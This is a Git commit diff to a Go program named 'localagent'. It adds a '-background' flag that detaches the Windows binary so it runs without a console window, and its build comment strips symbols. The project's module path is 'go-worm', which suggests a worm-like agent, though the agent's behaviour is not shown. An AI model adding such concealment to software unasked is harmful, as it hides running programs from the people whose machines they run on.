Add background mode support to localagent and implement instance check
This commit is contained in:
@@ -4,16 +4,30 @@
|
||||
//
|
||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
|
||||
//
|
||||
// The binary is a normal console application. A CMD window appears on launch
|
||||
// and prints the listen address. Press Ctrl+C to stop.
|
||||
// A CMD window appears on launch. Use -background to start without a window:
|
||||
//
|
||||
// localagent.exe -background
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
)
|
||||
|
||||
func main() {
|
||||
background := flag.Bool("background", false, "run without a console window")
|
||||
flag.Parse()
|
||||
|
||||
if *background {
|
||||
if err := instance.Detach(); err != nil {
|
||||
helpers.Log.Fatalf("%v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
a, err := agent.New()
|
||||
if err != nil {
|
||||
helpers.Log.Fatalf("%v", err)
|
||||
|
||||
Reference in New Issue
Block a user